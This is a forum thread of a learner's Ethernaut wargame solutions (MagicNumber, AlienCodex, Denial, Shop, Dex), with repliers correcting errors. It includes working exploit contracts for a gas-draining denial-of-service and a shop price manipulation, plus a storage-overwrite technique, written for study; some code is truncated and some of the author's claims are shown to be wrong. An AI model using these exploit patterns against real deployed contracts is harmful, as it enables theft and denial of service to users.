My Coding Journey: From Finance to Smart Contract Auditor

Day 31:

To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right number. BUT the solver's code needs to be really tiny (10 opcodes at most).


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MagicNum {

  address public solver;

  constructor() {}

  function setSolver(address _solver) public {
    solver = _solver;



  • the function setSolver takes an address type of another contract called 'solver' (whereby the contract returns 42 when the function whatIsTheMeaningOfLife called; and
  • the user then calls the solver function to enter the magic number.

As these challenges have become more complex I need more than an evening to solve them. The complexity with this solution is I will have to write a bytecode contract that is outside of the regular remix IDE I've previously been using. I'd note for those wondering: why can't you simply deploy a contract with the following code and be done?:

functionwhatIsTheMeaningOfLife() external pure returns (uint) {
return 42;

Well the real issue at play here is by entering '42' via this methodology, it does not apply to the opcode specification. So the real challenge is actually creating code outside the compiler (i.e. a via byte contract) and obtaining a better understanding of working with bytecode. As a starting point I've started to look at Solidity by example and found the following contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Factory {
    event Log(address addr);

    // Deploys a contract that always returns 42
    function deploy() external {
        bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
        address addr;
        assembly {
            // create(value, offset, size)
            addr := create(0, add(bytecode, 0x20), 0x13)
        require(addr != address(0));

        emit Log(addr);

interface IContract {
    function getMeaningOfLife() external view returns (uint);

Run time code - return 42

// Store 42 to memory
mstore(p, v) - store v at memory p to p + 32

PUSH1 0x2a

// Return 32 bytes from memory
return(p, s) - end execution and return data from memory p to p + s

PUSH1 0x20

Creation code - return runtime code

// Store run time code to memory
PUSH10 0X602a60005260206000f3

// Return 10 bytes from memory starting at offset 22
PUSH1 0x0a
PUSH1 0x16

I will be looking to manipulate the above and post the solution in the coming days!

First of all, make up your mind regarding which function is it:

Second, note that it doesn't really matter which one it is, because the contract created with this:

Doesn't implement either one of them.

In fact, it doesn't implement any function whatsoever.

So any of the following ways to call that contract from a function in the MagicNum contract would achieve the same (desired) result:

interface IContract1 {
    function whatIsTheMeaningOfLife() external pure returns (uint);

interface IContract2 {
    function getMeaningOfLife() external pure returns (uint);

contract MagicNum {
    address public solver;


    function getResult1() external view returns (uint256) {
        return IContract1(solver).whatIsTheMeaningOfLife();

    function getResult2() external view returns (uint256) {
        return IContract2(solver).getMeaningOfLife();

    function getResult3() external view returns (uint256) {
        (bool success, bytes memory data) = solver.staticcall("");
        return uint256(bytes32(data));

Day 32:

I learnt a lot with this challenge and it was more complex than I initially thought. I've tried to keep my findings brief and high level so not to confuse myself and others. Feel free to add where necessary!! Being from a non-traditional background I had to work a bit harder at understanding some core concepts but I've outlined all my notes below in addition to arriving at the solution for the MagicNumber Ethernaut challenge.


  • Understanding assembly programming for this challenge is a must. For those unfamiliar with the Ethereum Virtual Machine (EVM), a contract is created via the following steps:
  1. an account sends a create contract transaction (i.e. we write a smart contract in Solidity);
  2. EVM compiles the contract into bytecode (translating the contract into a form that is readable to the Ethereum interpreter);
  3. bytecode is then loaded onto the stack with a clear distinction being made between the contract's initialisation instructions and the contract's execution logic;
  4. the EVM initialises the contract based on initialisation instructions (i.e. contract at address 0xa93...); and
  5. the EVM stores the returned opcode to state storage.
  • tying the above to the challenge - you will need to create a contract that will be run immediately on the EVM and create a intialisation / runtime opcode that will execute the actual logic we want - i.e. that 42 will be returned and being less than 10 opcodes;
  • the EVM is also a Stack Machine - in short, it operates on a last in first out basis, which is similar to companies that store widgets in a big warehouse with lazy workers. The workers come in and just pull the first thing they see and load it onto the truck;
  • the act of putting data in the stack is called the “PUSH” instruction and removing data from the stack is called the “POP” instruction. “PUSH1" means putting 1 byte of data into the stack so PUSH1 0x42 means putting a 1 byte value of 0x42 in the stack (noting that PUSH can be denoted as 60 via bytecode rather than 0x for hex); and
    *opcode mappings can be found here.


  • Returning values is handled by the RETURN opcode. It takes two variables (the position a value is stored in memory - meaning we will need to use 'memory' somewhere in our smart contract solution) and size (which we will say is 32 bytes long, which a quick google reveals is 0x20 in hex);
  • the runtime code is 602a60005260206000f3. Breaking this down:
  1. push 2a (hexadecimal) = 42 (decimal) to the stack;
  2. push 00 to the stack;
  3. mstore(0, 2a) , store 2a = 42 at memory position 0;
  4. push 20 (hexadecimal) = 32 (decimal) to the stack (for 32 bytes of data);
  5. push 00 to the stack; and
  6. return(memory position, number of bytes), return 32 bytes stored in memory position 0.
  • Creation code will require you to store the above using 10 bytes in memory at position 0, padding the opcode with 22 0s on the left to form a 32 byte long bytestring. It will then have to return the stack via the following: 69602a60005260206000f3600052600a6016f3.

the final result is a contract with the following:

> var account = "your address here";
> var bytecode = "0x600a600c600039600a6000f3604260805260206080f3";
> web3.eth.sendTransaction({ from: account, data: bytecode }, function(err,res){console.log(res)});

then use the Ethernaut web console to call: '
await contract.setSolver("contract address");

No, the compiler does that.
When you send the contract-deployment transaction, it already includes the compiled contract's byte-code (typically, in the transaction's data attribute).

  1. When you see '60' in the bytecode, that's actually 0x60, since the bytecode is already denoted in hexadecimal base. So 0x60 thru 0x7F are the opcodes for PUSH1 thru PUSH32 respectively. For all it matters (and i'm not saying that it does), the equivalent decimal values are 96 thru 127.

  2. The value requested in your original question is 42, not 0x42. That value - 0x2a - is easily observable in your bytecode. For all it matters (and i'm not saying that it does), the equivalent decimal value of 0x42 is 66.

1 Like

Day 33:

You've uncovered an Alien contract. Claim ownership to complete the level. Building on OZ's explanation of the problem, to solve this challenge a user will need to grasp the concept of dynamic arrays and how their slot packing works, along with overflows and underflows. I've unpacked both of these topics above in previous posts.


// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;

import '../helpers/Ownable-05.sol';

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;

  modifier contacted() {
  function makeContact() public {
    contact = true;

  function record(bytes32 _content) contacted public {

  function retract() contacted public {

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;

Code Breakdown

  • the version of Solidity is 0.5.0 so we should remain alert to historical issues in this version (see historical bugs here);
  • the import of an ownable contract means we need to check the OZ documentation to ensure that 1) storage slots correctly align to and, 2) do a quick skim to see if functions we have modified (i.e. transfer locks like in day 27;
  • the contract is called AlienCodex and inherits properties from the OZ Ownable contract;
  • 'bool public contact' will be set to true if the makeContract function is called;
  • 'bytes32 public codex' stores a 32byte array in a variable called codex;
  • the 'contacted' modifier uses assert to check the status of 'contact'. Assert is an important point provided it is used to check for code errors, but errors such as integer overflows / underflows, not user inputs / enforcement of preconditions. If in this example, contact == false, the contract will immediately stop executing and any state changes made so far will be rolled back;
  • the record function takes _content in the form of 32bytes and pushes it to the codex array. Note that this checks the modifier to see if a user has been contacted;
  • the function 'retract' subtracts from the codex array; and
    the function 'revise' takes a uint and the previously mentioned _content and on input looks through the _content stored in the contract and displays it.

As suggested above, looking to OZ's ownable contract, you'll notice that address private _owner is in slot 0 meaning both 'bool public contact' and 'address private _owner' are in slot 0...herein lies the problem.

To satisfy the modifier that you've established contact, call the makeContact function. Given safeMath had to be explicitly implemented into earlier Solidity versions, if you were to call the retract() function, the codex.length is decreased by one causing underflow (i.e. reverting to the total storage capacity of the contract). The practical effect is the ability to access any and all variables stored in the contract. So what I did was convert my address to a 32byte so it conforms with the _content specifications, and updated the value of _owner (in the OZ contract) with my address.

That's a fair point, thank you for clarifying!

1 Like

That's not true as far as I know; here is a short example to prove it...

Contract Code:

contract Base {
    uint256 public x = 42;

contract Derived is Base {
    uint256 public y = 53;

Truffle Test:

const Derived = artifacts.require("Derived");

contract("test", () => {
    it("test", async () => {
        const derived = await;
        const slot1 = await web3.eth.getStorageAt(derived.address, 0);
        const slot2 = await web3.eth.getStorageAt(derived.address, 1);



The only reason why address _owner and bool contact are in the same slot is that they occupy a total of 168 bits, which fit into a single (256-bit) slot. But they do not override each other in any way, as implied in your "herein lies the problem" statement.

BTW, even from a "naive" perspective (i.e., without conducting the test above), think how catastrophic it would be for the entire inheritance paradigm, if the variables in a contract were overridden by the variables in a contract which inherited it.

The only place where storage-override requires careful handling is upon upgrading a deployed contract, typically using OpenZeppelin Contract Upgrade Scheme; and I cannot quite see how the task at hand has anything to do with that whatsoever.

It is worth noting that as of solc v0.6.0, this "hack" is no longer viable:

Syntax: length member of arrays is now always read-only, even for storage arrays.

Using solc v0.6.0 or higher for the code above, you'd get a compilation error:

Member "length" is read-only and cannot be used to resize arrays

The only ways to impact the length of dynamic arrays in solidity are via:

  • The push keyword (increment the length of the array by one)
  • The pop keyword (decrement the length of the array by one)
  • The delete keyword (reset the length of the array to zero)

And of course, pop reverts when the length of the array is already zero.
So the overflow-trick that this challenge relies on is no longer viable in solidity.

You can still achieve that "hack" in your contract, but you'd need to implement it in assembly.

There are 4 different array types to handle:

  • A dynamic array in storage, for example, uint256[] public arr
  • A dynamic array in memory, for example, uint256[] memory arr
  • A static array in storage, for example, uint256[10] public arr
  • A static array in memory, for example, uint256[10] memory arr

For a dynamic array in storage, you can use either one of the following options:

  • assembly { sstore(arr.slot, new_length) }
  • assembly { sstore(arr.offset, new_length) }

For a dynamic array in memory, you can use the following option:

  • assembly { mstore(arr, new_length) }

For a static array, whether it's in storage or in memory, I'm not too sure how to achieve that...

1 Like

Day 34:

This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner. If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share{value:amountToSend}("");
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;

Code Breakdown

  • I won't provide a comprehensive code breakdown given the in-code comments do the heavy lifting in outlining key functionalities;
  • the owner is a constant address of 0xA9E; and
  • the withdraw function takes an amountToSend (which is the balance of the contract's address divided by 100 (converting it to a %).

When the function withdraw is called, it sends some of the ETH to the owner - the question becomes, how can we actually stop this? I noticed copying this contract into Remix that{value:amountToSend}(""); was underlined as a warning in the code.

Exploring this hint further,{value:amountToSend}(""); sends ETH to the partner address before the owner's address. To exploit this pattern, I set the partner's address to our contract (i.e. denying the owner the funds at the call of the withdraw function) and noted that the use of a call means we will need to include a fallback function into our exploit contract. Note that the .call to the partner, does not check if the code is successful or not so it will continue to execute the remainder of the contract. This means to ensure the transaction reverts by a means aside from the revert function, achieved by draining the contract entirely of gas (see the assembly and invalid lines in my below code.

My code for the exploit is as follows:

pragma solidity ^0.8;

interface IDenial {
    function setWithdrawPartner(address) external;

contract rekt {
    constructor(IDenial target) {

    fallback() external payable {
        assembly {

The lesson here being that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.

A helpful note from OZ on how to avoid this type of attack is as follows:
An external CALL can use at most 63/64 of the gas currently available at the time of the CALL. Thus, depending on how much gas is required to complete a transaction, a transaction of sufficiently high gas (i.e. one such that 1/64 of the gas is capable of completing the remaining opcodes in the parent call) can be used to mitigate this particular attack.

1 Like

Thank you for this comment and your immediately preceding comment. I've looked at the sources you've linked and I agree - my comment is misguided.

I also really appreciated you pointing out that one of the hacks was no longer viable given the upgrade to contracts. I've noticed the theme of caution in implementing dynamically sized arrays in constructor arguments.

1 Like

Well, you've kinda mixed between the two comments, but NP.

In the first comment, I stated that the only place where storage-override requires careful handling is upon upgrading a deployed contract, typically using OpenZeppelin Contract Upgrade Scheme.

The term "only" is a bit incorrect here, since clearly, the contract in the given challenge does contain a storage-hack embedded in codex.length--.

But my main point was that address _owner and bool contact DO NOT overlap (or override) each other in any way, in contrast with what's implied in your description:

Other than the fact that both of these variables are located in slot 0 (due to their sizes allowing it), none of this is relevant to the challenge at hand, which can be solved by using bytes32[] codex in order to modify the value of address _owner.

In the second comment, I stated that the hack described above is no longer viable as of solc v0.6.0, due to array-length being considered by the compiler as read-only, starting from that version.

1 Like

Day 35:

Сan you get the item from the shop for less than the price asked? An issue alluded to is that Shop expects to be used from a Buyer, flagging a potential issue to do with interface functionalities of Solidity and calling state variables such as price.


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();

Code Breakdown

  • interface is going to refer to the Buyer contract and call the function price (see below);
  • the Shop contract sets a public price of 100 (uint public price) and a boolean state variable isSold; and
  • the function buy is publicly callable whereby the msg.sender becomes a _buyer if the _buyer.price is great than or equal to the price and is FALSE according to isSold. If these conditions are met, the item's isSold status becomes true and price becomes the _buyer.price.

The solution requires the following two conditions to be met 1) isSold == true and, 2) price <100.

To do this, I:

  • made sure that the rekt contract had the vital functions of the Shop contract via interface;
  • specified that the Shop contract was the target for the purpose of deployment (see target line);
  • used the function rek to call the function buy in the Shop contract but required that price be 99; and
  • used the function price to check if the price based on the isSold status - i.e. if the price was 100, it would not have been sold.

This was made possible because of the Shop contract checks the price, which is the following line: if (_buyer.price() >= price && !isSold) { but it calls the contract again via the _buyer.price() and sets the price. See the code below

// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

interface IShop {
    function buy() external;
    function price() external view returns (uint256);
    function isSold() external view returns (bool);

contract rekt{
    IShop private immutable target;

    constructor(address _target) {
        target = IShop(_target);

    function rek() external {;
        require(target.price() == 99, "price != 99");

    function price() external view returns (uint256) {
        if (target.isSold()) {
            return 99;
        return 100;

BTW, this hack would no longer be viable even if array-length was still a modifiable attribute, since as of solc v0.8.0 (if I remember correctly), all arithmetic operations have changed to revert the transaction upon overflow or underflow.

So with codex.length == 0, an attempt to execute codex.length-- would cause the transaction to revert rather than reaching codex.length == type(uint256).max, which is what the hack in this challenge is based on.

1 Like

You really ought to precede your 'Solution' paragraph with a 'Problem' paragraph.

And the problem is very easy to describe in this case:

The external function-call (a call to function price on another contract) occurs BOTH in the 'if' condition AND in the 'if' clause itself, allowing a scenario in which this function returns a different value on each one of these two calls.

1 Like

Duly noted on the ordering and nicely worded problem, that's exactly it!

Day 36:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);

Code Breakdown
One error I kept running into for this code was that the import 'openzeppelin-contracts-08/access/Ownable.sol'; did NOT want to play nice. I consistently got Error: not found contracts/access/Ownable.sol This is extremely frustrating so I'm working on the solution in the background whilst I solve for this.

The breakdown:

  • the code starts by importing the OZ ERC20 contract, ERC20 interface and Ownable contracts;
  • the contract DEX is an Ownable contract that contains token1/token2 both of which are mapped to public addresses;
  • setTokens takes the address of both tokens making sure that only the Owner (i.e. onlyOwner) can execute this function;
  • addLiquidity allows only the owner to add liquidity of a token. That is, taking an uint amount and a token's address, and the msg.sender sending more tokens to that address;
  • swap takes an address that the token is being sent from, to and the amount. It imposes the requirements that: 1) the token being sent is taken directly from the address directly specified for token1 or token 2's address - otherwise it will revert with an "Invalid tokens" error, and 2) if a user decides to transfer from their balance, the amount in the balance must be greater than or equal to that amount;
  • swapAmount is set equal to the getSwapPrice function (see below), but a flag here is that you should never specify price in a smart contract. This is what API's were created for and are: 1) less subject to malicious actors and 2) are a smoother way to import external functionalities into Solidity;
  • the various IERC20 lines add functionality of facilitating transfers to and from addresses;
  • getSwapPrice takes the necessary parameters for a transfer / swap and returns an amount that is the balance contained at to (i.e. whatever address the token is being sent to) and divides it by the balance contained from;
  • approve takes a spender's address and amount, and points to the SwappableToken contract (see below). This function asks the msg.sender to approve the transaction (for token1 and 2) with the spender's address and the amount;
  • balanceOf is used to calculate a user's balance by looking to the address of a token and returning the balance of that token, held in a user's account;
  • the SwappableToken contract is an ERC20 contract that contains a 'private' dex address and initialises the contract based on this address, the token's name, the tokens symbol (noting both are stored in the contracts memory) and the initial supply (which is only able to be supposedly altered by the owner); and
  • approve in this contract allows the owner (that has the same address at the private dex address - as specified at contract initialisation) to approve the transfer of tokens between the owner, the spender and the amount.

The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation. You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token. You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a "bad" price of the assets.

Some pointers by OZ in relation to the challenge:

  • How is the price of the token calculated?
  • How does the swap method work?
  • How do you approve a transaction of an ERC20?
  • Theres more than one way to interact with a contract!
  • Remix might help
  • What does "At Address" do?

I've linked this contract's official documentation at the end of an earlier comment which I made here:

AFAIK, the most widely used access-restriction mechanism, which also happens to be the oldest one and the simplest one (probably the reason for it being the most widely used one), is Ownable.

If you navigate to that webpage, then you'll see that it tells you where to import this contract from:

import "@openzeppelin/contracts/access/Ownable.sol";

You can also find it by browsing through the node_module folder in your project:

The answer to that can be found directly in the function whose name implies it:

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
  return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));

In other words: the price is calculated as the amount of to tokens owned by the contract, divided by the amount of from tokens owned by the contract, where to and from indicate the direction of the swap.

Same as above.

First of all, you approve a transfer, not a transaction.
This is a semantic issue, but nevertheless an important one, since a transaction on a contract is basically any function-call made on that contract, or even just an ETH transfer with no function-call included (passing an empty data field as part of the transaction).

Second, before signing and sending the following transaction using account acc:

erc20TokenContract.transferFrom(src, dst, amount1)

You need to sign and send the following transaction using account src:

erc20TokenContract.approve(acc, amount2)

With the value of amount2 being equal to or larger than the value of amount1.

You'll need to explain what exactly this question has to do with anything of what you've posted.
In other words, what code or other general description does this question refer to?

1 Like

Thanks for answering all these questions - on your final point, I'm currently still working on the solution so in my explanation I'll be sure to tie it back to this point for you.